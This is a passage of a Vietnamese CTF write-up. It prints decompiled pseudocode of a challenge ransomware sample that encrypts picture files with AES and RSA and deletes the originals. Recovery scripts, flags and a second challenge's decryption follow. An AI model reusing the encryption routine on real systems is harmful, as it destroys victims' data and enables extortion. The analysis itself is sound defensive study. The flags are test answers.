// [rsp+100h] [rbp+0h] BYREF CHAR MultiByteStr[256]; // [rsp+120h] [rbp+20h] BYREF CHAR Dst[272]; // [rsp+220h] [rbp+120h] BYREF WCHAR Buffer[264]; // [rsp+330h] [rbp+230h] BYREF WCHAR FileSystemNameBuffer[264]; // [rsp+540h] [rbp+440h] BYREF WCHAR VolumeNameBuffer[264]; // [rsp+750h] [rbp+650h] BYREF WCHAR WideCharStr[512]; // [rsp+960h] [rbp+860h] BYREF VolumeSerialNumber = 0; MaximumComponentLength = 0; FileSystemFlags = 0; if ( !GetVolumeInformationW( L"C:\\", VolumeNameBuffer, 0x104u, &VolumeSerialNumber, &MaximumComponentLength, &FileSystemFlags, FileSystemNameBuffer, 0x104u) ) return GetLastError(); pcbBuffer = 257; nSize = 16; if ( !GetUserNameW(Buffer, &pcbBuffer) || !GetComputerNameW(v20, &nSize) ) return GetLastError(); LODWORD(lpMaximumComponentLength) = VolumeSerialNumber; wsprintfW(WideCharStr, L"%s_%s_%08X", Buffer, v20, lpMaximumComponentLength); v4 = -1; WideCharToMultiByte(0xFDE9u, 0, WideCharStr, -1, MultiByteStr, 256, 0, 0); v13 = 0; v14 = 1732584193; v15 = -271733879; v16 = -1732584194; v17 = 271733878; do ++v4; while ( MultiByteStr[v4] ); sub_1400010D0((int *)&v13, (__int64)MultiByteStr, v4); sub_140001380(&v13); phProv = 0; v19 = v18; if ( !CryptAcquireContextW(&phProv, 0, 0, 1u, 0xF0000000) ) return 1; v5 = CryptGenRandom(phProv, 0x20u, pbBuffer); CryptReleaseContext(phProv, 0); if ( !v5 ) return 1; ExpandEnvironmentStringsA("%userprofile%\\Pictures\\Saved Pictures\\", Dst, 0x104u); sub_140001790(Dst, (__int128 *)pbBuffer, (const BYTE *)&v19); return 0; } ``` GetVolumeInformationW, GetUserNameW, GetComputerNameW → ghép “Victim ID” bằng wsprintfW(L"%s_%s_%08X", …) rồi WideCharToMultiByte. Gọi cặp hàm MD5 tự cài đặt: sub_1400010D0 (update) + sub_140001380 (final) để băm Victim ID → 16 byte MD5 dùng làm IV. CryptAcquireContextW(... PROV_RSA_FULL) + CryptGenRandom(…, 32) → sinh AES-256 key (32B). ExpandEnvironmentStringsA("%userprofile%\\Pictures\\Saved Pictures\\", …) rồi gọi sub_140001790(path, aesKey32, md5IV16) #### 2.4.2 sub_140001790 → duyệt & mã hoá file, thả 2 cặp .Cyrene/.Phainon ```c! int __fastcall sub_140001790(const char *a1, __int128 *a2, const BYTE *a3) { const BYTE *v3; // r14 __int128 *v4; // rsi const char *v5; // rdi HANDLE FirstFileA; // rax void *v7; // r15 char *v8; // rax const char *v9; // rbx size_t v10; // rdi void *v11; // r13 __int128 v12; // xmm0 __int128 v13; // xmm1 size_t v14; // rcx void *v15; // r14 unsigned int v16; // r12d __int128 v17; // xmm1 CHAR *v18; // r15 void *v19; // rdi void *v20; // rbx unsigned __int64 v21; // rbx char *v22; // rax char *v23; // rsi unsigned __int64 v24; // r14 char *v25; // r12 size_t v26; // rdi BOOL v27; // ebx size_t v28; // rbx char *v29; // rax char *v30; // rdi size_t v31; // rdx signed __int64 v32; // rsi char *v33; // rcx size_t v34; // rax FILE *v35; // rax FILE *v36; // rsi HANDLE v38; // [rsp+40h] [rbp-C0h] char *v41; // [rsp+58h] [rbp-A8h] void *v42; // [rsp+60h] [rbp-A0h] void *v43; // [rsp+68h] [rbp-98h] DWORD pcbEncoded; // [rsp+78h] [rbp-88h] BYREF FILE *Stream; // [rsp+80h] [rbp-80h] BYREF DWORD pdwDataLen; // [rsp+88h] [rbp-78h] BYREF DWORD pcchString; // [rsp+8Ch] [rbp-74h] BYREF DWORD v49; // [rsp+90h] [rbp-70h] BYREF HCRYPTKEY hKey; // [rsp+98h] [rbp-68h] BYREF HCRYPTPROV phProv; // [rsp+A0h] [rbp-60h] BYREF HCRYPTPROV v52; // [rsp+A8h] [rbp-58h] BYREF HCRYPTPROV hProv; // [rsp+B0h] [rbp-50h] BYREF HCRYPTKEY v54; // [rsp+B8h] [rbp-48h] BYREF BYTE pbData[4]; // [rsp+C0h] [rbp-40h] BYREF int v56; // [rsp+C4h] [rbp-3Ch] int v57; // [rsp+C8h] [rbp-38h] __int128 v58; // [rsp+CCh] [rbp-34h] __int128 v59; // [rsp+DCh] [rbp-24h] struct _WIN32_FIND_DATAA FindFileData; // [rsp+F0h] [rbp-10h] BYREF BYTE pbBuffer[32]; // [rsp+230h] [rbp+130h] BYREF CHAR v62[272]; // [rsp+250h] [rbp+150h] BYREF BYTE Buffer[16]; // [rsp+360h] [rbp+260h] BYREF __int128 v64; // [rsp+370h] [rbp+270h] CHAR FileName[272]; // [rsp+460h] [rbp+360h] BYREF CHAR v66[272]; // [rsp+570h] [rbp+470h] BYREF char v67[272]; // [rsp+680h] [rbp+580h] BYREF CHAR v68[272]; // [rsp+790h] [rbp+690h] BYREF char v69[272]; // [rsp+8A0h] [rbp+7A0h] BYREF v3 = a3; v4 = a2; v5 = a1; sub_140001070(FileName, 0x104u, "%s\\*", a1); FirstFileA = FindFirstFileA(FileName, &FindFileData); v38 = FirstFileA; v7 = FirstFileA; if ( FirstFileA == (HANDLE)-1LL ) return (int)FirstFileA; while ( 1 ) { if ( (FindFileData.dwFileAttributes & 0x10) != 0 ) goto LABEL_53; v8 = strrchr(FindFileData.cFileName, 46); v9 = v8; if ( v8 ) { if ( !stricmp(v8, ".Cyrene") || !stricmp(v9, ".Phainon") ) goto LABEL_53; } sub_140001070(v62, 0x104u, "%s\\%s", v5, FindFileData.cFileName); Stream = 0; fopen_s(&Stream, v62, "rb"); if ( !Stream ) goto LABEL_53; fseek(Stream, 0, 2); v10 = (unsigned int)ftell(Stream); fseek(Stream, 0, 0); v42 = malloc((int)v10); v11 = v42; fread(v42, 1u, (int)v10, Stream); fclose(Stream); DeleteFileA(v62); phProv = 0; if ( CryptAcquireContextW(&phProv, 0, 0, 0x18u, 0xF0000000) ) break; LABEL_52: free(v11); v5 = a1; LABEL_53: if ( !FindNextFileA(v7, &FindFileData) ) goto LABEL_57; } v12 = *v4; v13 = v4[1]; *(_DWORD *)pbData = 520; v56 = 26128; v58 = v12; v57 = 32; v59 = v13; hKey = 0; if ( !CryptImportKey(phProv, pbData, 0x2Cu, 0, 0, &hKey) ) { CryptReleaseContext(phProv, 0); goto LABEL_52; } if ( !CryptSetKeyParam(hKey, 1u, v3, 0) ) { CryptDestroyKey(hKey); CryptReleaseContext(phProv, 0); goto LABEL_52; } pdwDataLen = v10; v14 = (unsigned int)(v10 + 16); if ( (unsigned int)v10 >= 0xFFFFFFF0 ) v14 = -1; v43 = malloc(v14); v15 = v43; memcpy(v43, v42, v10); if ( !CryptEncrypt(hKey, 0, 1, 0, (BYTE *)v43, &pdwDataLen, pdwDataLen + 16) ) { CryptDestroyKey(hKey); CryptReleaseContext(phProv, 0); free(v43); LABEL_51: v3 = a3; goto LABEL_52; } v16 = pdwDataLen; LODWORD(v52) = pdwDataLen; CryptDestroyKey(hKey); CryptReleaseContext(phProv, 0); hProv = 0; v54 = 0; if ( !CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000000) ) goto LABEL_57; if ( !CryptGenKey(hProv, 1u, 0x8000001u, &v54) ) goto LABEL_57; v17 = v4[1]; *(_OWORD *)Buffer = *v4; v64 = v17; v49 = 32; if ( !CryptEncrypt(v54, 0, 1, 0, Buffer, &v49, 0x100u) ) goto LABEL_57; v49 = 0; if ( CryptExportKey(v54, 0, 7u, 0, 0, &v49) ) { v19 = malloc(v49); if ( CryptExportKey(v54, 0, 7u, 0, (BYTE *)v19, &v49) ) { pcbEncoded = 0; CryptEncodeObjectEx(0x10000u, (LPCSTR)0x2B, v19, 0, 0, 0, &pcbEncoded); v20 = malloc(pcbEncoded); CryptEncodeObjectEx(0x10000u, (LPCSTR)0x2B, v19, 0, 0, v20, &pcbEncoded); pcchString = 0; CryptBinaryToStringA((const BYTE *)v20, pcbEncoded, 0x40000001u, 0, &pcchString); v18 = (CHAR *)malloc(pcchString); CryptBinaryToStringA((const BYTE *)v20, pcbEncoded, 0x40000001u, v18, &pcchString); free(v19); free(v20); } else { free(v19); v18 = 0; } } else { v18 = 0; } v21 = -1; do ++v21; while ( v18[v21] ); v22 = (char *)malloc(v21 + ((v21 + 63) >> 6) + 63); v41 = v22; v23 = v22; if ( v22 ) { v24 = 0; v25 = &v22[sub_140001010(v22, "%s", "-----BEGIN RSA PRIVATE KEY-----\n")]; if ( v21 ) { do { v26 = v21 - v24; if ( v24 + 64 < v21 ) v26 = 64; memcpy(v25, &v18[v24], v26); v24 += 64LL; v25[v26] = 10; v25 += v26 + 1; } while ( v24 < v21 ); v23 = v41; v11 = v42; } sub_140001010(v25, "%s", "-----END RSA PRIVATE KEY-----\n"); v15 = v43; v16 = v52; } else { v23 = 0; } sub_140001070(v67, 0x104u, "%s.Cyrene", v62); sub_140001070(v66, 0x104u, "desktop.ini.Cyrene", v62); DeleteFileA(v66); v52 = 0; if ( !CryptAcquireContextW(&v52, 0, 0, 1u, 0xF0000000) || (v27 = CryptGenRandom(v52, 0x20u, pbBuffer), CryptReleaseContext(v52, 0), !v27) ) { LABEL_44: sub_140001070(v69, 0x104u, "%s.Phainon", v62); sub_140001070(v68, 0x104u, "desktop.ini.Phainon", v62); DeleteFileA(v68); fopen_s(&Stream, v69, "wb"); if ( Stream ) { fwrite(Buffer, 1u, 0x100u, Stream); fwrite(v15, 1u, v16, Stream); fclose(Stream); } free(v15); if ( v54 ) CryptDestroyKey(v54); if ( hProv ) CryptReleaseContext(hProv, 0); v7 = v38; v4 = a2; goto LABEL_51; } v28 = -1; do ++v28; while ( v23[v28] ); v29 = (char *)malloc(v28); v30 = v29; if ( !v29 ) goto LABEL_56; v31 = 0; if ( v28 ) { v32 = v23 - v29; do { v33 = &v30[v31]; v34 = v31++ & 0x1F; *v33 = v33[v32] ^ pbBuffer[v34]; } while ( v31 < v28 ); } v35 = fopen(v67, "wb"); v36 = v35; if ( v35 ) { fwrite(v30, 1u, v28, v35); fclose(v36); free(v30); goto LABEL_44; } free(v30); LABEL_56: v7 = v38; LABEL_57: LODWORD(FirstFileA) = FindClose(v7); return (int)FirstFileA; } ``` ```! (a) Duyệt thư mục & lọc file FindFirstFileA("%s\\*", path) / FindNextFileA → lặp. Bỏ qua thư mục và đuôi .Cyrene, .Phainon. Đọc toàn bộ file vào buffer rồi DeleteFileA(original). void sub_140001000() (b) Mã hoá nội dung bằng AES-256-CBC CryptAcquireContextW(... PROV_RSA_AES) → CryptImportKey với blob chứa aesKey32 (tham số 2 của hàm) tạo hKey. CryptSetKeyParam(hKey, KP_IV, md5IV16) → đặt IV = MD5(VictimID). CryptEncrypt(hKey, …, Final=TRUE, buf, &len, len+16) → ciphertext của file. void sub_140001000() ( c ) Gói AES key bằng RSA & tạo 2 file đầu ra CryptAcquireContextW(... PROV_RSA_FULL) → CryptGenKey(hProv, AT_KEYEXCHANGE, 0x80000001, &rsaPriv). Sao chép aesKey32 vào buffer 0x20 rồi CryptEncrypt(rsaPriv, …) để được khối 0x100 byte theo PKCS#1 v1.5 (RSA-2048). CryptExportKey(..., PRIVATEKEYBLOB) → CryptEncodeObjectEx + CryptBinaryToStringA → Base64 PEM; tự ghép header/footer "-----BEGIN RSA PRIVATE KEY-----". XOR PEM bằng một key 32B ngẫu nhiên (CryptGenRandom) vòng lặp theo byte → ghi <name>.Cyrene. Ghi <name>.Phainon = RSA_block(0x100) + AES_CBC(ciphertext); xoá tạm, đóng handle. > • .Cyrene = PEM private key đã XOR bằng key 32B ngẫu nhiên (key lặp). > • .Phainon = [0x100] RSA(aesKey32) || AES-CBC(data). > • IV = MD5(VictimID) → giải được chỉ cần PEM + file .Phainon. ``` Nhìn chung phần này do bản thân mình kém REV nên mình dùng AI phân tích các hàm để hiểu logic của con ransom này, nói ngắn gọn lại: 1. **Thu thập định danh nạn nhân** * Gọi `GetUserNameW`, `GetComputerNameW`, `GetVolumeInformationW` (serial). * Nối thành chuỗi `VictimID = "%USER%_%HOST%_%08X"`, rồi **MD5** → lấy **16 byte** làm **IV AES**. 2. **Sinh khoá đối xứng** * `CryptGenRandom(…, 32)` → **AES-256 key** (32B). 3. **Duyệt và mã hoá file** * Duyệt thư mục ảnh đích (`%userprofile%\Pictures\Saved Pictures\…`). * Bỏ qua các đuôi tự sinh (`.Cyrene`, `.Phainon`), đọc nội dung file gốc vào RAM. * **AES-256-CBC**: import `aesKey32`, đặt `KP_IV = MD5(VictimID)`, `CryptEncrypt` → ciphertext. 4. **Gói khoá AES bằng RSA và ghi ra 2 file** * Sinh **RSA-2048 private key** on-the-fly. * `CryptEncrypt(RSA_priv, aesKey32)` theo **PKCS#1 v1.5** → **block 0x100 byte**. * Export private key thành **PEM**, rồi **XOR** tuần hoàn với **1 key ngẫu nhiên 32B** → ghi **`<name>.Cyrene`**. * Ghi **`<name>.Phainon`** = `RSA_block(256B)` **||** `AES_CBC(ciphertext)`. * Xoá file gốc. > **Kết quả:** Mỗi file bị mã hoá sẽ sinh cặp **`.Cyrene`** (PEM bị XOR) và **`.Phainon`** (RSA_block + AES dữ liệu). ```mermaid sequenceDiagram participant Host as Host Info API participant Crypto as Crypto APIs participant Writer as File Writer Host->>Crypto: VictimID (User, Host, VolSerial) Crypto->>Crypto: IV = MD5(VictimID) Crypto->>Crypto: K = CryptGenRandom(32) Crypto->>Crypto: {Pub,Priv} = RSA-2048 Crypto->>Crypto: C = AES-256-CBC(File, K, IV) Crypto->>Crypto: R = RSA_v1.5_Encrypt(Pub, K) (256B) Crypto->>Writer: XOR(PrivPEM, 32B rnd) → .Cyrene Crypto->>Writer: R || C → .Phainon ``` ```mermaid flowchart LR Cy[".Cyrene"] -->|XOR 32B repeat| Pem["PEM Private Key"] Pha[".Phainon"] -->|first 256B| Rsa["RSA block"] Pha -->|rest| Ciph["AES-CBC ciphertext"] Pem --> DecRSA["PKCS#1 v1.5 Decrypt"] --> K["AES-256 key K"] Vict["VictimID"] --> IV["IV = MD5(VictimID)"] K --> Dec["AES-256-CBC Decrypt"] IV --> Dec Ciph --> Dec --> Out["Recovered file"] ``` --- ### 2.5 Recover Flag #### 2.5.1. **Khôi phục PEM từ `.Cyrene`** * Dùng crib “`-----BEGIN RSA PRIVATE KEY-----`” để **brute/XOR-drag** ra **key 32B**. * ![image](https://hackmd.io/_uploads/H11NR7K2xe.png) * XOR toàn file `.Cyrene` bằng key này → thu **PEM private key** hợp lệ. * ![image](https://hackmd.io/_uploads/rJTH0XK3ll.png) Tuy nhiên thì không hiểu sao dùng cyberchef nó cứ bị dính lỗi, nên mình gen 1 script khôi phục PEM khác cho hoàn chỉnh: ```python! # recover_pem_from_cyrene.py import os HEADER_CANDIDATES = [ b"-----BEGIN RSA PRIVATE KEY-----\n", b"-----BEGIN RSA PRIVATE KEY-----\r\n", b"-----BEGIN RSA PRIVATE KEY-----", ] def xor_repeat(data: bytes, key: bytes) -> bytes: L = len(key) return bytes(b ^ key[i % L] for i, b in enumerate(data)) def derive_key32_from_header(cipher: bytes): # 1) thử khớp ngay từ đầu file for hdr in HEADER_CANDIDATES: if len(cipher) >= len(hdr): k = bytes(cipher[i] ^ hdr[i] for i in range(min(32, len(hdr)))) if len(k) < 32: k = (k * (32 // len(k) + 1))[:32] plain = xor_repeat(cipher, k) if (b"-----BEGIN RSA PRIVATE KEY-----" in plain and b"-----END RSA PRIVATE KEY-----" in plain): return k, plain # 2) fallback: thử lệch offset 1..31 (phòng khi vòng lặp key không bắt đầu ở offset 0) for shift in range(1, 32): for hdr in HEADER_CANDIDATES: if len(cipher) > shift + len(hdr): k = bytes(cipher[shift+i] ^ hdr[i] for i in range(min(32, len(hdr)))) if len(k) < 32: k = (k * (32 // len(k) + 1))[:32] plain = xor_repeat(cipher, k) if (b"-----BEGIN RSA PRIVATE KEY-----" in plain and b"-----END RSA PRIVATE KEY-----" in plain): return k, plain return None, None def recover(cyrene_path: str, out_pem_path: str = None): data = open(cyrene_path, "rb").read() k32, pem = derive_key32_from_header(data) if not k32: raise SystemExit(f"[!] failed: could not derive XOR key from {cyrene_path}") if not out_pem_path: out_pem_path = cyrene_path + ".recovered.pem" with open(out_pem_path, "wb") as f: f.write(pem) print(f"[ok] {cyrene_path}") print(f" XOR key (32B hex): {k32.hex()}") print(f" -> saved PEM: {out_pem_path}") if __name__ == "__main__": import argparse ap = argparse.ArgumentParser(description="Recover PEM from .Cyrene by crib-dragging the RSA header") ap.add_argument("cyrene", help=".Cyrene file path") ap.add_argument("-o", "--out", help="output PEM path (optional)") args = ap.parse_args() recover(args.cyrene, args.out) ``` Output: ![image](https://hackmd.io/_uploads/HkGZyNY3gg.png) #### 2.5.2. Trích AES key & IV từ .Phainon, rồi giải dữ liệu **Bước 1 – Lấy AES key (32B) từ block RSA:** * `.Phainon` bắt đầu bằng **một block RSA 2048-bit (256B)** chứa khóa AES được bọc theo **PKCS#1 v1.5**. * Mình dùng private key (PEM) để **RSA raw decrypt** rồi **tìm mẫu** `0x00 0x02 … 0x00 || <32 bytes>` → lấy ra **AES-256 key**. * Vì có thể tác giả ghi “lệch” (hoặc đảo endian), script quét **trượt theo độ dài modulus** và thử **cả block đảo**: * `modlen = (n.bit_length()+7)//8` (thường là 256). * Với mỗi offset: `m = RSA^−1(c)` → tìm `00 02 ... 00`. **Bước 2 – Tại sao không cần IV ban đầu?** ![image](https://hackmd.io/_uploads/HJyPeEthlg.png) * Ở đây file gốc là **PNG**, nên **header 16 byte đầu** là **tĩnh**: ``` 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 ``` * Solve: 1. Lấy block đầu ciphertext `C1`. 2. Dùng **AES-ECB decrypt** với `key` để tính `Dec_K(C1)` (vì về mặt toán học CBC-decrypt block đầu chính là một lần ECB-decrypt). 3. **XOR** kết quả đó với **PNG_HEAD16** ⇒ ra **IV** thực tế. * Vì vậy **không cần VictimID/MD5**: IV được **phục hồi trực tiếp từ ciphertext** nhờ **known-plaintext**. **Bước 3 – Giải toàn bộ phần còn lại** * Dùng `AES.new(key, AES.MODE_CBC, iv)` để **decrypt toàn bộ ciphertext** phía sau block RSA → thu **file gốc** (PNG). --- Script Solve: ```python! import base64, argparse PNG_HEAD16 = bytes.fromhex("89504e470d0a1a0a0000000d49484452") def read_tlv(d, i): t = d[i]; i += 1 l = d[i]; i += 1 if l & 0x80: n = l & 0x7F L = int.from_bytes(d[i:i+n], "big"); i += n else: L = l v = d[i:i+L]; i += L return t, v, i def read_seq(d, i): t, v, i2 = read_tlv(d, i) if t != 0x30: raise ValueError("expect SEQUENCE") return v, i2 def read_int(d, i): t, v, i2 = read_tlv(d, i) if t != 0x02: raise ValueError("expect INTEGER") if len(v) > 1 and v[0] == 0: v = v[1:] return int.from_bytes(v, "big"), i2 def parse_pkcs1_rsa_private_key(der): rs, i = read_seq(der, 0) d2, j = rs, 0 _ver, j = read_int(d2, j) n, j = read_int(d2, j) e, j = read_int(d2, j) d, j = read_int(d2, j) return n, d def parse_pkcs8_private_key(der): rs, i = read_seq(der, 0) _ver, i = read_int(rs, 0) algseq, i = read_seq(rs, i) # AlgorithmIdentifier (bỏ qua) t, priv_octets, i = read_tlv(rs, i) if t != 0x04: raise ValueError("expect OCTET STRING") return parse_pkcs1_rsa_private_key(priv_octets) def load_n_d_from_pem(pem_path): s = open(pem_path, "rb").read().decode("ascii", "ignore") if "-----BEGIN RSA PRIVATE KEY-----" in s: b64 = s.split("-----BEGIN RSA PRIVATE KEY-----")[1].split("-----END RSA PRIVATE KEY-----")[0] der = base64.b64decode("".join(b64.strip().splitlines())) return parse_pkcs1_rsa_private_key(der) elif "-----BEGIN PRIVATE KEY-----" in s: b64 = s.split("-----BEGIN PRIVATE KEY-----")[1].split("-----END PRIVATE KEY-----")[0] der = base64.b64decode("".join(b64.strip().splitlines())) return parse_pkcs8_private_key(der) else: raise SystemExit("[-] PEM không phải RSA PRIVATE KEY / PRIVATE KEY") def rsa_raw_decrypt(c_bytes, n, d): c = int.from_bytes(c_bytes, "big") m = pow(c, d, n).to_bytes((n.bit_length()+7)//8, "big") if len(m) < len(c_bytes): m = b"\x00"*(len(c_bytes)-len(m)) + m return m def find_pkcs1_v15_key32(m): # tìm 00 02 ... 00 || 32 bytes ở bất kỳ offset i = 0 while i+2 < len(m): if m[i] == 0x00 and m[i+1] == 0x02: try: z = m.index(b"\x00", i+2) except ValueError: break tail = m[z+1:] if len(tail) >= 32: return tail[:32] i = z + 1 else: i += 1 return None def main(): ap = argparse.ArgumentParser() ap.add_argument("--pem", required=True) ap.add_argument("--phainon", required=True) ap.add_argument("-o", "--out", default="recovered.png") args = ap.parse_args() n, d = load_n_d_from_pem(args.pem) modlen = (n.bit_length()+7)//8 # độ dài block RSA theo modulus (ví dụ 256 cho 2048-bit) buf = open(args.phainon, "rb").read() # quét trượt theo modlen key = None hit_off = None for off in range(0, max(1, len(buf)-modlen+1)): blk = buf[off:off+modlen] if len(blk) < modlen: break for candidate in (blk, blk[::-1]): m = rsa_raw_decrypt(candidate, n, d) k = find_pkcs1_v15_key32(m) if k: key = k hit_off = off break if key: break if not key: raise SystemExit("[-] không trích được AES key từ .Phainon (đã quét theo modulus & thử đảo endian)") try: from Crypto.Cipher import AES except Exception: try: from Cryptodome.Cipher import AES except Exception: raise SystemExit("[-] Cần cài pycryptodome: pip install pycryptodome") ciph = buf[hit_off+modlen:] if len(ciph) < 16: raise SystemExit("[-] phần AES ciphertext quá ngắn") dec_first = AES.new(key, AES.MODE_ECB).decrypt(ciph[:16]) iv = bytes(a ^ b for a, b in zip(dec_first, PNG_HEAD16)) plain = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ciph) open(args.out, "wb").write(plain) print(f"[OK] saved: {args.out}") print("hit offset :", hit_off) print("modlen :", modlen) print("AES-256 key:", key.hex()) print("IV :", iv.hex()) if __name__ == "__main__": main() ``` ```bash! PS C:\Users\acer\Downloads\KMA CTF II\ANEOX> & C:/Users/acer/AppData/Local/Programs/Python/Python312/python.exe "c:/Users/acer/Downloads/KMA CTF II/ANEOX/xorrr.py" --pem "Screenshot (323).png.Cyrene.recovered.pem" --phainon "Screenshot (323).png.Phainon" -o shot.png [OK] saved: shot.png hit offset : 0 modlen : 256 AES-256 key: 01adf921337480cde4c28f62a0000efc81b0f712ef81b4eb4ac6608980b943a8 IV : b51d8275fed87e665767bc24bf67a5a2 PS C:\Users\acer\Downloads\KMA CTF II\ANEOX> & C:/Users/acer/AppData/Local/Programs/Python/Python312/python.exe "c:/Users/acer/Downloads/KMA CTF II/ANEOX/xorrr.py" --pem .\Secret.png.Cyrene.recovered.pem --phainon .\Secret.png.Phainon -o sec.png [OK] saved: sec.png hit offset : 0 modlen : 256 AES-256 key: 01adf921337480cde4c28f62a0000efc81b0f712ef81b4eb4ac6608980b943a8 IV : b51d8275fed87e665767bc24bf67a5a2 PS C:\Users\acer\Downloads\KMA CTF II\ANEOX> ``` ![image](https://hackmd.io/_uploads/rymVGVtnee.png) > Vì sao cách “không cần IV” chỉ hợp trong bài này? > > Điều kiện bắt buộc: biết chắc 16 byte đầu tiên của plaintext bị mã hóa (PNG, PDF, ZIP… có magic bytes cố định). > > Nếu nạn nhân bị mã hóa các file không có header dự đoán được, hoặc tác giả thay đổi thứ tự/tiền tố (ví dụ thêm salt/garbage trước dữ liệu), ta không suy IV kiểu này được. Lúc đó phải: > > Tính IV = MD5(VictimID) như logic malware (VictimID từ GetUserNameW + GetComputerNameW + Volume Serial), hoặc > > Tự tìm khối có known-plaintext khác trong file. > > > Kết luận: > > .Cyrene: XOR-drag header PEM ⇒ 32B key ⇒ RSA private key. > > .Phainon: RSA v1.5 decrypt ⇒ AES-256 key; IV được suy từ block đầu nhờ known-plaintext header PNG ⇒ AES-CBC decrypt ⇒ ảnh/flag. > Flag: KMACTF{1_Forensics_kho_la_1_Forensics_nang_Reverse:D} > ![image](https://hackmd.io/_uploads/SyfQXNKngg.png) --- ## 3. raito yagami ![image](https://hackmd.io/_uploads/SkkRcZ83gx.png) File được mã hoá bằng password-based encryption (Office Agile). Pass excel: `123456` Để giải file cần một công cụ có thể thực hiện PBKDF2(SHA512) + AES-256 theo chuẩn Office — ví dụ msoffcrypto-tool. Script Solve: ```python! import msoffcrypto from io import BytesIO import openpyxl with open("tesst.xlsx","rb") as f: of = msoffcrypto.OfficeFile(f) of.load_key(password="123456") buf = BytesIO() of.decrypt(buf) buf.seek(0) wb = openpyxl.load_workbook(buf, data_only=True) print(wb.sheetnames) ws = wb[wb.sheetnames[0]] for i,row in enumerate(ws.iter_rows(values_only=True)): print(row) if i>30: break ``` Output ```bash! ['Sheet', 'Sheet1'] ('Flag: KMACTF{unhid3_is_th3_n3w_t3chnique=))}',) ``` > Flag: KMACTF{unhid3_is_th3_n3w_t3chnique=))} --- ## 4. Pure Forensics ![image](https://hackmd.io/_uploads/SyZ1s-Unxe.png) > Hint: Data Deduplication